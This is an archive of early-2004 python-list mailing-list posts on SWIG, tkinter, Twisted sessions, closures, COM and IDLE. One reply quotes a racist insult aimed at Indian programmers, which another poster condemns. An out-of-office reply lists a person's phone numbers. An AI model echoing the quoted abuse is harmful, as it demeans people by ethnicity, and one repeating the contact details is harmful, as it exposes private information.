After few researchs I tested SWIG, which seems to work for me exept that I'd
like to be able to 
use a C function under python that has this prototype 

void Fitimp(double *x1, double *x2... ) 

these double parameters are lists of double precision number.
The python script will read this datas from files, So i'd like to know how to
transform a python list of double precision float to a C double * variable

Thx for your help

Gilles A




From scrutinizer at gmx.at  Thu Feb  5 15:07:10 2004
From: scrutinizer at gmx.at (Francesco)
Date: Thu, 05 Feb 2004 21:07:10 +0100
Subject: wxPython issues
References: <ssaq10pipoj5c8hn7pjcm2r1o0vvf9j8j2@4ax.com>
	<bvk4m4$rna$1@news.service.uci.edu>
	<b6et10l67pa22s4sf34tp646efd7ip78t9@4ax.com>
	<bvmn6r$9r0$1@news.service.uci.edu>
	<5onv10pd080l2jkufaigdtcn21p2735jpf@4ax.com>
	<bvppfm$7fu$1@news.service.uci.edu>
Message-ID: <tg8520h4n4nv62hes4r9buoigstt9ouhgc@4ax.com>

On Tue, 03 Feb 2004 19:36:13 -0800, Josiah Carlson
<jcarlson at nospam.uci.edu> wrote:

>
>P.S. If you are looking for a good editor for Python, I wrote one:
>http://pype.sourceforge.net

PS: yes, it is; you know me from sf :)

-- 
Francesco


From jepler at unpythonic.net  Wed Feb 25 09:59:28 2004
From: jepler at unpythonic.net (Jeff Epler)
Date: Wed, 25 Feb 2004 08:59:28 -0600
Subject: Memory Leak ['LBBW': checked]
In-Reply-To: <OF2B2CB932.A2F52747-ONC1256E45.004A4668-C1256E45.004E91A1@lbbw.sko.de>
References: <OF2B2CB932.A2F52747-ONC1256E45.004A4668-C1256E45.004E91A1@lbbw.sko.de>
Message-ID: <20040225145927.GA25342@unpythonic.net>

On Wed, Feb 25, 2004 at 03:18:33PM +0100, Holger Joukl wrote:
> 2) I am quite stunned by the del alist[:] thing:
> >>> class foo:
> ...     def __del__(self):
> ...             print "foo.__del__"
> ...
> >>> alist=[foo(), foo(), foo()]
> >>> del alist[:]
> foo.__del__
> foo.__del__
> foo.__del__
> >>> alist
> []
> alist[:] creates a shallow copy of alist, which is a new object. del then
> decreases the refcount of this
> temporary object, thus it is destroyed. But why is the original alist empty
> after that, why are the
> list elements destroyed?
> Does that mean if a shallow copy of a list is created, the refcounts of the
> elements in the list are not increased?

"del alist[:]" does not get a slice of alist and then delete the resulting
copy.  del can work on names ("del a"), attributes ("del o.x") and slices
("del l[:]").  The following part of an interactive session shows that
__delslice__, not __getslice__ is called for "del c[:]".

>>> class C:
...     def __getslice__(self, *args): print "getslice", args
...     def __delslice__(self, *args): print "delslice", args
... 
>>> c = C()
>>> c[:]
getslice (0, 2147483647)
>>> del c[:]
delslice (0, 2147483647)

Jeff



From rpm1deleteme at direcway.com  Fri Feb 13 17:01:27 2004
From: rpm1deleteme at direcway.com (RPM1)
Date: Fri, 13 Feb 2004 17:01:27 -0500
Subject: beeline through tkinter
References: <qj6Xb.476569$JQ1.239547@pd7tw1no>
Message-ID: <c0jhce$17t8qa$1@ID-203708.news.uni-berlin.de>


"Elaine Jackson" wrote ...
> I'm about to tackle tkinter, but here's the thing: The only kind of GUI I
want
> to work on is a chessboard (an 8x8 grid of images that can be "moved
around").
> So before I start, I'm asking the room at large: Is there some way of
going
> directly to what I'm interested in? Any help will be very much
appreciated.

Chess board huh?  What are you going to do with a chess board and
python?

Just curious, :-)
Patrick





From jcarlson at nospam.uci.edu  Sat Feb 21 01:53:10 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Fri, 20 Feb 2004 22:53:10 -0800
Subject: Parsing apache log files
In-Reply-To: <bnjig1-3ku.ln1@grendel.myth>
References: <oqigg1-3nl.ln1@grendel.myth> <c149qh$33i$1@news.service.uci.edu>
	<t32hg1-u8n.ln1@grendel.myth> <c15foq$css$1@news.service.uci.edu>
	<bnjig1-3ku.ln1@grendel.myth>
Message-ID: <c16vdg$87n$2@news.service.uci.edu>

> It was the http auth, which for some reason, show up from time to time,
> may be a misconfigured router/proxy don't know. But this works, although
> my brain is still parsing the regexp :) Thank you very much for your
> help.

It is relatively easy to generate the regular expression by hand, I did. 
  But I agree, it is a bit dense if you didn't do it.  I need to pull 
out the python docs every time I see a regular expression that I didn't 
write.

  - Josiah


From kent at springfed.com  Sat Feb 14 17:42:56 2004
From: kent at springfed.com (Kent Tenney)
Date: Sat, 14 Feb 2004 16:42:56 -0600
Subject: A Python equivalent of cfengine?
Message-ID: <zzxXb.3076$tU6.4660@reggie.win.bright.net>

Howdy,

Any recommendations for automating
administrative tasks using Python?

Thanks,
Kent


From http  Thu Feb 19 22:57:54 2004
From: http (Paul Rubin)
Date: 19 Feb 2004 19:57:54 -0800
Subject: Generating a large random string
References: <4034D506.2E37519A@netsurf.de> <7xsmh6a7cd.fsf@ruckus.brouhaha.com>
	<RpdZb.10783$Cd6.717545@news20.bellglobal.com>
	<7x65e2ikqi.fsf@ruckus.brouhaha.com>
	<zTdZb.11018$Cd6.724593@news20.bellglobal.com>
Message-ID: <7x7jyipflp.fsf@ruckus.brouhaha.com>

"Sean Ross" <sross at connectmail.carleton.ca> writes:
> And when you've done
> 
> s = open("/dev/urandom").read(1000000)
> 
> is s a string containing one million letters [a-zA-Z] and no other
> types of characters, as the OP is looking for?

Oops, per other post, it gives strings of bytes and needs filtering.
The following runs in about 1.2 seconds on my machine, but has an
small (infinitesimal) chance of failure:

import string,array,time
t=time.time()
ttab = string.letters*4 + '\0'*48
a = array.array('B', open("/dev/urandom").read(1500000).translate(ttab))
a = array.array('B', filter(abs,a)).tostring()[:1000000]
print time.time()-t


From bob at redivi.com  Sun Feb 29 09:27:12 2004
From: bob at redivi.com (Bob Ippolito)
Date: Sun, 29 Feb 2004 09:27:12 -0500
Subject: Thoughts on new vs traditional idioms
References: <5d83790c.0402290218.2d3c493f@posting.google.com>
	<c1sjkg$c64$02$1@news.t-online.com>
Message-ID: <2004022909271250073%bob@redivicom>

On 2004-02-29 06:49:36 -0500, Peter Otten <__peter__ at web.de> said:

> Raymond Hettinger wrote:
> 
>> d = {'a':1}
>> d.__init__([('b',2), ('c',3)])   # update with an items list
>> d.__init__(d=4, e=5)             # update with keyword arguments
>> d.__init__(mydict)               # update with another dictionary
> 
> This is the first time I've seen the init as update idiom - this is clearly
> not a case of love at first sight. Objects cumulating data over subsequent
> calls of __init__() seems unintuitive to me.
> 
> Why isn't dict.update() enhanced to handle all three cases? You might
> actually use the same implementation for both __init__() and update().

I submitted a small patch last week to correct this (well, to support 
the first case, not the kwargs), but it was -1 or -0 by several people, 
including guido, and ended up rejected.

-bob



From exarkun at intarweb.us  Sat Feb  7 12:36:21 2004
From: exarkun at intarweb.us (Jp Calderone)
Date: Sat, 7 Feb 2004 12:36:21 -0500
Subject: [Twisted] Sessions validity
In-Reply-To: <c0365p$j8q$1@ns.felk.cvut.cz>
References: <c0365p$j8q$1@ns.felk.cvut.cz>
Message-ID: <20040207173620.GA894@intarweb.us>

On Sat, Feb 07, 2004 at 06:10:49PM +0100, Frantisek Fuka wrote:
> Sorry for posting this here but I got no reaction when asking in 
> twisted-web mailing list:
> 
> Twisted stores the Session objects using cookies. I'd like to know how 
> long these Sessions last (it seems to be 30 minutes?) and - more 
> importantly - I'd like my application to be able to set different 
> Session timeouts for different users. I need some of the users (just 
> some!) to be able not to click on anything on the site for several hours 
> and still be logged in afterwards, when they click.
> 
> Is there a way to do this cleanly or do I have to change the Twisted 
> sources? (I admit I am not very proficient with the cookies)
> 

  The default is 60 seconds before login occurs, 30 minutes afterwards.  It
is changed by calling "setLifetime" on the GuardSession.

  Jp




From na  Sun Feb  8 18:13:24 2004
From: na (ADE)
Date: Sun, 8 Feb 2004 15:13:24 -0800
Subject: How to search for files
References: <102d1936uqaqbc4@corp.supernews.com>
	<c06149$50n$05$1@news.t-online.com>
Message-ID: <102dgpk7akbmo94@corp.supernews.com>

Hi I figured it out thank you for pointing me in the right direction


"fBechmann" <fBechmann at web.de> wrote in message
news:c06149$50n$05$1 at news.t-online.com...
> os.walk (needs python 2.3) and/or glob.glob() should be good places to
> start your search.




From jnewman at ups-scs.com  Wed Feb  4 13:18:25 2004
From: jnewman at ups-scs.com (jnewman at ups-scs.com)
Date: Wed, 4 Feb 2004 13:18:25 -0500
Subject: Out of Office AutoReply: HI
Message-ID: <C311089248257643BA947D6200D95C340A1C69@gaalpsvr0052.win.us.ups.com>

I'm out of the office traveling on business until Sunday, February 8th, 2004.  I can be reached on my mobile at (720) 635-6889.

You can also contact Doug Scobee at descobee at ups-scs.com or (720) 941-1001 for CO, KS, NE,ND, SD, WY issues.

Jon G. Newman
Branch Manager - CO, KS, NE, ND, SD, WY
(720) 941-1001 Office
(720) 941-2610 Fax
(800) 877-1683 Toll Free
(720) 635-8669 Mobile
jnewman at ups-scs.com
UPS Supply Chain Solutions



From nospam-deets at web.de  Wed Feb  4 11:11:03 2004
From: nospam-deets at web.de (Diez B. Roggisch)
Date: Wed, 04 Feb 2004 17:11:03 +0100
Subject: Advice: socket handling and threads
References: <mailman.1197.1075908813.12720.python-list@python.org>
Message-ID: <bvr5ik$vtf6q$1@ID-111250.news.uni-berlin.de>

> Is it sensible to port these sections of code to Python? Do I stand to
> gain or lose by doing this... I doubt the performance difference will be
> noticeable, and the only areas of the project that I would maybe consider
> extending in C++ are to do with parsing (and to be honest I think it'll be
> fine left in Python).
> 
> Finally there is the cherry on the cake in the form of cross-platform
> compatibility. My C++ code only works on *nix (or cygwin) but as far as I
> understand it, my threads and sockets should work fine on Windows and Mac
> too, if done in Python...? (This is a CLI app not GUI by the way.)
> 
> Thoughts and general musings will be greatly appreciated (as will any
> warnings of pitfalls I may encounter!)

You should look into python twisted, a framework for networking. It has
plenty of features. You can easily write portable networking code that
makes use of select for dispatching, so you don't need to be multithreaded.
It also supports reactors that are multithreaded, but in my expirience
thats not necessary, as multithreading often is an excuse for easier
handling of blocking io - which you avoid by the underlying select-based
infrastructure.

I had a mult-threaded client-server-app that also involved the serial line -
porting it to twisted was easy and straighforward, and now I'm rid of all
threads - which leads to way lower system load while the performance is the
same.

Regards,

Diez


From tyler at ml1.net  Sat Feb 14 16:59:27 2004
From: tyler at ml1.net (Tyler Eaves)
Date: Sat, 14 Feb 2004 21:59:27 GMT
Subject: XML Parsing
Message-ID: <slrnc2t6bv.4q2.tyler@darkstar.tylere.com>

Hi,

	Right now I'm using xml.dom.minidom for parsing some xml files. It
	works, certainly, but the speed leaves a bit to be desired. Are there
	any other XML modules that offer the same interface minidom does, but
	are faster? Things like validation are not a big deal for me, as all
	the XML is generated by my own programs, so I'm not worried about
	malformed documents.

	


From __peter__ at web.de  Sun Feb 15 07:52:56 2004
From: __peter__ at web.de (Peter Otten)
Date: Sun, 15 Feb 2004 13:52:56 +0100
Subject: sending output
References: <c871260e.0402150430.6fc318e4@posting.google.com>
Message-ID: <c0nq38$ghm$01$1@news.t-online.com>

Fknapp wrote:

> I'm new to boa constructor, however I went through the tutorial and
> loved it. I am trying to create a simple math program for my 6 yr old
> daughter, I am creating a window that askes for two numbers and then
> asks for the total, based on what they enter it compares and says that
> is correct or that is wrong. I created a python script that works,
> however when I try to import and say "myscript".DoThis() I get all
> kinds of sytax errors. Any help would be appriciated

Let's see:

>>> "myscript".doThis()
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
AttributeError: 'str' object has no attribute 'doThis'
>>>

Failing, but definitely *not* a syntax error. Please post _real_ if short
code and _actual_ tracebacks (cut and paste).

Peter




From max at ucmg.com.ua.remove.it  Tue Feb 10 02:38:20 2004
From: max at ucmg.com.ua.remove.it (Max Ischenko)
Date: Tue, 10 Feb 2004 09:38:20 +0200
Subject: synchronized method
Message-ID: <c0a1mt$v79$1@hyppo.gu.net>


Hi,

I wrote simple implementation of the "synchronized" methods (a-la Java), 
could you please check if it is OK:

def synchronized(method):

     """
     Guards method execution, similar to Java's synchronized keyword.

     The class which uses this method, is required to have a
     L{threading.Lock} primitive as an attribute named 'lock'.
     """

     def wrapper(self, *args):
         self.lock.acquire()
         try:
             return method(self, *args)
         finally:
             self.lock.release()
     return wrapper

...I'm no big thread expert

tia.

... The problem is not that there are problems. The problem is expecting 
otherwise and thinking that having problems is a problem.
      -- Theodore Rubin


From FBatista at uniFON.com.ar  Wed Feb 11 11:42:00 2004
From: FBatista at uniFON.com.ar (Batista, Facundo)
Date: Wed, 11 Feb 2004 13:42:00 -0300
Subject: How to avoid "f.close" (no parens) bug?
Message-ID: <A128D751272CD411BC9200508BC2194D033835E8@escpl.tcp.com.ar>

Eric Brunel wrote:

#- You may be able to call some "real" code just by accessing 
#- an attribute by using 
#- properties. I'm not quite sure, and I can't check because I 
#- have only Python 2.1 
#- here.


Jeff Epler wrote:

#- For another, there may be legitimate uses, when it's specifically to
#- cause the side effect that computation of the property requires
#- (especially in the context of software testing).  For instance, see
#-     http://weblogs.mozillazine.org/hyatt/archives/2003_08.html#003963
#- Personally, I view the fact that javascript (apparently) requires
#- assigment to a dummy variable as a drawback of js.


Thank you Jeff & Eric. 

I think these are valid cases and because of them, we can not forbide the
use of such lines.

Thanks again.

.	Facundo



From paul at prescod.net  Mon Feb 23 12:15:59 2004
From: paul at prescod.net (Paul Prescod)
Date: Mon, 23 Feb 2004 09:15:59 -0800
Subject: Typecasting
In-Reply-To: <d3be1825.0402230853.48b0d10f@posting.google.com>
References: <mailman.198.1077534828.27104.python-list@python.org>
	<d3be1825.0402230853.48b0d10f@posting.google.com>
Message-ID: <403A354F.7040302@prescod.net>

Jani Yusef wrote:

 > ...
> Wow, YAMQFAI (Yet Another Moronic Question From An Indian). What is
> terrible is how GE is now suffering because of these dollar a day
> idiots. Man, what exactly did you learn at IIT? Did you learn how to
> stop wiping your ass with your bare hand at least?
> Anyway, the answer to your question is
> s="555"
> i=int(s)
> now i is equal to 555.

Better to not answer than to answer with contempt and racism. Among 
other problems, you give a poor impression of Pythonistas and Persians. 
You should spew bile into another forum from a different email address.

  Paul Prescod





From rupole at hotmail.com  Sat Feb 28 16:48:08 2004
From: rupole at hotmail.com (Roger Upole)
Date: Sat, 28 Feb 2004 13:48:08 -0800
Subject: Python COM Variant problem
References: <b9942658.0402270131.624a8492@posting.google.com>
Message-ID: <4040de8f_1@127.0.0.1>

Try running makepy on the typelib that contains the objects.
Also, the actual error msg that if fails with would be helpful.
       Roger

"Annie" <aichia77 at yahoo.com> wrote in message
news:b9942658.0402270131.624a8492 at posting.google.com...
> I am trying to call a COM object which expects a variant datatype to
> be passed in to the COM API object. However, I get "<COMObject
> <unknown>>" and the program fails.
>
> Below is my code in Python, and the same code in VB which is working
> fine...
>
> I guess this is a variant problem with python? How can I make this
> work? Would appreciate if someone can guide me as I am a python
> newbie... :-)
>
> Thanks very much...
>
> ##In Python
> def setAddOnValue(oBusObj
>     oAddOns = oBusObj.AddOns
>     print oAddOns #returns "<COMObject <unknown>>"
>     print oAddOns.Count #return 3
>     for x in range(1, oAddOns.Count):
>         oAddOn = oAddOns.Item(x) #expects variant datatype for the x
> variable
>
>
>
> ##In VB
> Public Function setAddOnValue(oBusObj As Variant, strAddOnLabel As
> String, strPropLabel As String, oVal As Variant) As Boolean
>     Dim x, y
>     Dim oAddOns As CAddOns
>     Dim oAddOn As CAddOn
>     Dim oAddOnValues As CAddOnValues
>     Dim oAddOnValue As CAddOnValue
>
>     setAddOnValue = False
>     Set oAddOns = oBusObj.AddOns
>
>     For x = 1 To oAddOns.Count
>         Set oAddOn = oAddOns.Item(x)
>         If oAddOn.AddOnName = strAddOnLabel Then
>             Set oAddOnValues = oAddOn.AddOnValues
>             For y = 1 To oAddOnValues.Count
>                 Set oAddOnValue = oAddOnValues.Item(y)
>                 If oAddOnValue.PropertyLabel = strPropLabel Then
>                     setAddOnValue = True
>                     Set oAddOnValue.Data = oVal
>                     Exit For
>                 End If
>             Next y
>         End If
>         If setAddOnValue = True Then
>             Exit For
>         End If
>     Next x
> End Function




From kbass at midsouth.rr.com  Thu Feb  5 20:47:36 2004
From: kbass at midsouth.rr.com (kbass)
Date: Fri, 06 Feb 2004 01:47:36 GMT
Subject: Newbiew Question: Graphs and CGI in Python
References: <iVBUb.1956$cc.1002@fe3.columbus.rr.com>
Message-ID: <YmCUb.1969$cc.4@fe3.columbus.rr.com>


"kbass" <kbass at midsouth.rr.com> wrote in message
news:iVBUb.1956$cc.1002 at fe3.columbus.rr.com...
> Is there a module for creating graphs within CGI programs in Python? I am
> attempting to retrieve data from a database (Postgres) and display the
data
> in a graph through the browser. Thanks!
>
> kbass
>
>

 I am using Python 2.1 and Python 2.3 on RH Linux AS 2.1




From paul at prescod.net  Thu Feb 26 04:31:33 2004
From: paul at prescod.net (Paul Prescod)
Date: Thu, 26 Feb 2004 01:31:33 -0800
Subject: Some language proposals.
In-Reply-To: <tyfbrnmmdil.fsf@pcepsft001.cern.ch>
References: <slrnc3mss6.pob.apardon@trout.vub.ac.be>	<mailman.58.1077649530.8594.python-list@python.org>	<tyfbrnno9e2.fsf@pcepsft001.cern.ch>	<mailman.88.1077699734.8594.python-list@python.org>	<tyf1xojnzwp.fsf@pcepsft001.cern.ch>	<m34qtffidu.fsf@pc150.maths.bris.ac.uk>	<tyfwu6bmfhx.fsf@pcepsft001.cern.ch>	<mailman.126.1077730491.8594.python-list@python.org>
	<tyfbrnmmdil.fsf@pcepsft001.cern.ch>
Message-ID: <403DBCF5.4010405@prescod.net>

Jacek Generowicz wrote:
> I do wish you'd run your examples through a Python interpreter before
> posting them. The little bugs you include, really interfere with
> trying to understand what your point is.

Sorry. Don't know what else I can do:

bash-2.05a$ cat foo.py
class a:
           pass

def func():
           pass

lst = [1, 2, 3, "a", "b", "c", object(), lambda x:x ]

for x in lst:
          a.b = x
          assert a.b is x, "What???? %s"% x
          print "Okay", x

bash-2.05a$ python foo.py
Okay 1
Okay 2
Okay 3
Okay a
Okay b
Okay c
Okay <object object at 0x116e20>
Traceback (most recent call last):
   File "foo.py", line 11, in ?
     assert a.b is x, "What???? %s"% x
AssertionError: What???? <function <lambda> at 0x122190>
bash-2.05a$

And this is after cutting and pasting the program from your reply back 
into a file.

Given that I was trying to demonstrate an inconsistency in behaviour I 
felt it helpful to show examples of logical behaviour.

  Paul Prescod




From lubowiecka at go2.pl  Fri Feb  6 11:50:45 2004
From: lubowiecka at go2.pl (Nazgul)
Date: Fri, 6 Feb 2004 17:50:45 +0100
Subject: self-extracting installer
References: <mailman.1188.1075890224.12720.python-list@python.org>
	<f6554b84.0402042251.699839@posting.google.com>
	<4f0a9fdb.0402050419.3552abe@posting.google.com>
Message-ID: <c00gfg$bsl$2@nemesis.news.tpi.pl>

Great thanks!!!

Best Wishes,

Sylwia




From paul at prescod.net  Mon Feb  9 17:08:57 2004
From: paul at prescod.net (Paul Prescod)
Date: Mon, 09 Feb 2004 14:08:57 -0800
Subject: Had Phyton suggested
In-Reply-To: <c08rgo$pf9$1@news.freedom2surf.net>
References: <4026488d$0$95048$edfadb0f@dread11.news.tele.dk>	<c05k7b$ndl$1@news.freedom2surf.net>	<ZWuVb.246007$I06.2735974@attbi_s01>
	<c08rgo$pf9$1@news.freedom2surf.net>
Message-ID: <402804F9.30207@prescod.net>

Steve Horsley wrote:

> 
> 
> Python:
> edlin myprog.py
> python myprog
> 
> java:
> edlin myprog.java
> javac myprog.java
> jave myprog

So Python does two steps with one command and Java does not. Surely that 
is an argument in favour of Python!

> As for not encouraging bad habits, I thought not until I came across a 
> 34k python script where every variable was global and not one procedure 
> accepted any arguments or returned any values. I suspect that the only 
> chopping into procedures was to keep the text on the page. I now think 
> that a real beginner needs a better push in the right direction.

If the programmer doesn't understand why this kind of programming is 
bad, I expect that they will replicate it in Java with static variables 
and static functions. Even in Java it takes extra effort to pass 
parameters instead of referring to static variables.

But I think someone would have to do some usability testing to decide 
this for real.

  Paul Prescod





From michele.simionato at poste.it  Sat Feb 28 02:27:33 2004
From: michele.simionato at poste.it (Michele Simionato)
Date: 27 Feb 2004 23:27:33 -0800
Subject: Feature request: subclassing FunctionType [Was: Some language
	proposals]
References: <95aa1afa.0402262158.5b33de79@posting.google.com>
	<tyffzcwbm7x.fsf@pcepsft001.cern.ch>
Message-ID: <95aa1afa.0402272327.29828430@posting.google.com>

Jacek Generowicz <jacek.generowicz at cern.ch> wrote in message news:<tyffzcwbm7x.fsf at pcepsft001.cern.ch>....
> 
> I don't think that Python's behaviour differs from other languages, in
> this respect. For example in Common Lisp:
> 
> * (defun make-adders (n)
>     (loop for i below n collect
>   	  (lambda (x) (+ x i))))
> MAKE-ADDERS
> * (destructuring-bind (add0 add1) (make-adders 2)
>     (list (funcall add0 0) 
>   	  (funcall add1 0)))
> (2 2)

I don't know Common Lisp, but Scheme scope rules do what I expect:

(define (make-adders n)
  (unfold (cut = <> n) (lambda (i) (lambda (x) (+ x i))) add1 0))

(define-values (add0 add1) (apply values (make-adders 2)))

(print (add0 0)) ;=> 0
(print (add1 0)) ;=> 1

My feeling about Python scope rules are mixed: in the beginning, I thought
they were just broken, since they were not following my expectations
(I don't know where those expectations were coming from, maybe from
Pascal? I didn't know any functional language at that time, mah!).
Later on, when I learned about the default argument tricks, I thought 
there was a logic in there, i.e. I may choose if I want to use the value
of the "i" argument at the definition time or at the usage time
explicitly and "explicit is better than implicit". However, now that
I see that there are languages that implement the scope rule I
would expect, and since I don't see a real life case where Python 
default of using the value of "i" as the usage time is useful, I am 
starting questioning them again.
The only reason I see for the present state of the scope rules, is
to discourage people from using closures and using objects instead.
Which is not necessarely a bad thing, yes, but then I would need a better
support from the language, and the ability to subclass FunctionType
to be happy again ;)

         Michele Simionato


From glc at well.com  Sat Feb 28 14:27:28 2004
From: glc at well.com (Greg Chapman)
Date: Sat, 28 Feb 2004 19:27:28 GMT
Subject: Type emulation issues with new style classes
References: <C0%%b.4538$qX5.249@nwrdny03.gnilink.net>
Message-ID: <epq140d8mc52qfqlujq1m03cbjuh9s7moo@4ax.com>

On Sat, 28 Feb 2004 11:33:54 GMT, "Chris" <feb04.20.netman at spamgourmet.com>
wrote:

>class Z(object):
>    value = 42
>    def __hasattr__(self, name):
>        if name == '__int__':
>            return True
>    def __getattr__(self, name):
>        if name == '__int__':
>            return lambda: self.value

The following allows your test case to work, but it may have various subtle
problems.  AddDynOper emulates __getattr__ semantics: the descriptor is not
installed if the type already has an attribute of the given name:

class DynOperDescr(object):
    def __init__(self, name):
        self.name = name
    def __get__(self, instance, typ):
        if instance is None:
            return self
        return instance.__getattr__(self.name)

def AddDynOper(declcls, name):
    if not hasattr(declcls, name):
        setattr(declcls, name, DynOperDescr(name))

class Z(object):
    value = 42
    def __getattr__(self, name):
        if name == "__int__":
            return lambda : self.value
        raise AttributeError(name)
AddDynOper(Z, "__int__")

---
Greg Chapman



From kbk at shore.net  Sun Feb  8 14:48:44 2004
From: kbk at shore.net (Kurt B. Kaiser)
Date: Sun, 08 Feb 2004 19:48:44 GMT
Subject: Clearing IDLE's screen?
References: <4f0a9fdb.0402080107.3800b86e@posting.google.com>
Message-ID: <87k72x73oj.fsf@hydra.localdomain>

miki.tebeka at zoran.com (Miki Tebeka) writes:

> I'd like to bind <CTRL+L> so that it will clear IDLE's screen (in the
> interactive prompt).
> Any pointers/suggetions?

Try this:

def clear():
    for i in range(60):
        print

If that is adequate, then you should be able to write an extension
for IDLE which would bind this function to a key.

Read .../idlelib/extend.txt for further information.

Note that if you use this approach, previous entries into the Shell
window can be retrieved by scrolling up and/or using the "View Last
Restart / F6" feature.  This is useful to recall code to the command
line for re-evaluation.

The downside is the buffer can get pretty large.  You have to decide
if that's a problem.  It hasn't been for me.  If you have an Edit
window open, you can always close the Shell window occasionally and
reopen it from the Run menu.

If you really want to clear the buffer for the Shell window, then the
Tkinter Text widget would have to be truncated.  That involves a
deeper understanding of IDLE, particularly EditWindow.py,
OutputWindow.py, and PyShell.py.  It is conceivable that it could be
done as an extension.


===

I have been planning on implementing an integrated Shell Clear
capability in IDLE 1.1 which would truncate the Shell Text widget.
Just re-opening the Shell window would probably move it on the screen,
so that is not very attractive.

The question for the list is, should Clear be orthogonal to Reset or
should Clear also do a Reset?

Other comments?

-- 
KBK


From noemail at noemail4u.com  Mon Feb  9 11:32:57 2004
From: noemail at noemail4u.com (Dang Griffith)
Date: Mon, 09 Feb 2004 16:32:57 GMT
Subject: finding all sublists of list2 that are identical to list1
References: <3e96ebd7.0402090659.7948e06b@posting.google.com>
Message-ID: <f5dcf7c7a0b2237f3b6d2c83aae102b9@news.teranews.com>

On 9 Feb 2004 06:59:35 -0800, klaus_neuner82 at yahoo.de (Klaus Neuner)
wrote:

>Hello, 
>
>the function given below returns all indexes of list2 where a sublist
>of list2 that is identical to list1 begins.
>
>As I will need this function quite often, I would like to know if more
>experienced programmers would agree with the way I defined the
>function:
>
>- Is there a more efficient way to do it? (Apart from building
>automata.)
>- Is there a more elegant/Pythonic way to write the function?
>
>Klaus
>
>
>def sublist(list1, list2):
>    if list1 == list2:
>        return [0]
>    elif len(list1) > len(list2):
>        return []
>    else:
>        result = []
>        shift = 0
>        i = 0
>        while shift <= len(list2)-len(list1):
>            if list1[i] == list2[shift+i]:
>                if i == len(list1)-1:
>                    result.append(shift)
>                    i = 0
>                    shift += 1
>                else:
>                    i += 1
>            else:
>                i = 0
>                shift += 1
>        return result

I don't know about it being Pythonic, but list comprehensions are
always fun.  This one's 10-20% faster (based on timeit results) than
your code:

def sublist(list1, list2):
    len1 = len(list1)
    rnge = xrange(len(list2))
    return [i for i in rnge if list2[i:len1+i] == list1]

If you need this for a specific purpose, you might be able to
transform the data and try a different technique which would be
executed internally at the "C" level.  For example, if your list is
always integers, you might be able to join them into a tab-delimited
string and scan the string with a regular expression (unless you
consider that building automata).

The list doesn't have to be integers for the regex idea to be
used--you just have to be sure the values in list1 contain no regex
metacharacters, and that list1 and list2 don't contain your delimiter
(tab in this example).  If list1 contains regex characters, you need
to escape them with a backslash first.

It's possible that if you know something about the size of list1, you
could use this information also, but without more details, I'm
shooting in the dark.

    --dang


From trevp at trevp.net  Sat Feb 28 03:17:18 2004
From: trevp at trevp.net (Trevor Perrin)
Date: 28 Feb 2004 00:17:18 -0800
Subject: Pure Python HTTPS Server
References: <mailman.183.1077835573.8594.python-list@python.org>
	<mailman.208.1077908506.8594.python-list@python.org>
	<7x4qtcozv5.fsf@ruckus.brouhaha.com>
Message-ID: <47e891f1.0402280017.5f8af771@posting.google.com>

Paul Rubin <http://phr.cx at NOSPAM.invalid> wrote in message news:<7x4qtcozv5.fsf at ruckus.brouhaha.com>...
> Trevor Perrin <trevp at trevp.net> writes:
> > Are you and Paul still looking at adding ciphers to stdlib?  That
> > would make me really, really happy :-)....
> 
> Do you mean me?

Yes!  Sorry, I was typing quickly.


>  I proposed a standard block cipher API and wrote a
> sample implementation last year,

I like that API.  I wonder if there's any performance issues in
separating the codebook from the mode-of-operation, but I haven't
thought about that much.


> but had to set it aside temporarily
> because of other commitments at the time.  Between then and now I
> heard that the distro maintainers decided they weren't willing to put
> ciphers into the stdlib because they were concerned it would create
> legal obstacles importing Python into certain places.  They didn't
> seem to mind that the existing rotor module already creates those same
> issues, or that just about every web browser these days contains an
> SSL stack, so they only need to be concerned about places where it's
> illegal to use web browsers.

Yeah, I thought things were pretty liberalized these days.  US Export
isn't a problem.  I guess a few countries still have import issues,
but providing a no-crypto distribution that omits a few modules seems
like it would take care of that.

> I haven't pursued the issue since then,
> but I guess I can do some more work on the code now.

I'd be happy to help, or cheerlead, or anything.  Is this something
that belongs on the python-crypto list?


Trevor


From jcarlson at nospam.uci.edu  Mon Feb  2 00:01:19 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sun, 01 Feb 2004 21:01:19 -0800
Subject: OT: why do web BBS's and blogs get so slow?
In-Reply-To: <7x1xpece0g.fsf@ruckus.brouhaha.com>
References: <7xbrojk9rk.fsf_-_@ruckus.brouhaha.com>
	<bvic0i$bbt$1@panix1.panix.com>
	<7xk736s7av.fsf@ruckus.brouhaha.com>
	<bvkgjl$1r1$1@panix1.panix.com>
	<7x1xpece0g.fsf@ruckus.brouhaha.com>
Message-ID: <bvkln6$d2k$1@news.service.uci.edu>

> OK, I looked at a few typical user pages.  I might look at the code
> sometime (I think it's in Perl though, yecch).  But I don't understand
> about needing to do a lot of processing for each page.  The ones I
> looked at looked like they could have been served static entirely from
> cache, updated only when someone actually posts a new entry or comment.
> Maybe it's doing that, which would certainly make it fast.

Quoting the latest news post (http://www.livejournal.com/users/news/)
"We now host over 2,000,000 users, roughly half of which are active in 
some way."

'Active in some way' are those who visit and check their friends page, 
those that post updates to their own livejournal, or those that post 
replies to entries/replies on livejournals, I believe in the last month.

30k visitors/day, many doing more than one thing when they visit (check 
their friends page, post some replies, update their own livejournal, 
etc.), everyone hitting different parts of the database, many causing 
database updates (without updates, livejournal is worthless), etc.

No offense, but I'd love to see you write a BBS/Blogging software that 
does that - in any language.

  - Josiah


From cpl.19.ghum at spamgourmet.com  Wed Feb  4 10:35:10 2004
From: cpl.19.ghum at spamgourmet.com (Harald Massa)
Date: Wed, 4 Feb 2004 16:35:10 +0100
Subject: global variables in module
References: <cthvfmnb1eb.fsf@lcpxdf.wm.lc.ehu.es>
Message-ID: <Xns9485AA251A839cpl19ghumspamgourmet@62.153.159.134>

Zunbeltz,

> MyApp(wxApp):
> How can i use cf in other modules of the program. Did I need declare cf
> global, or make it a module variable, ... Any hint, please

is used the following approach:

1) defining one module named

ReportGlobals

loggedInUser="nasenbaer"
workerQueue=Queue.Queue()

there all varibles which are "konfiguration related" are defined, also 
"programm global queues", "error loggers", "database connection pool"

All these variables are defined as module level variables
(on "indent 0" :))) )

2) in all modules of the programm I use

import ReportGlobals as gl

print "You are %s" % (gl.loggedInUser,)


HTH

Harald



and access the


From fidtz at clara#spam#.co.uk  Wed Feb 11 10:36:23 2004
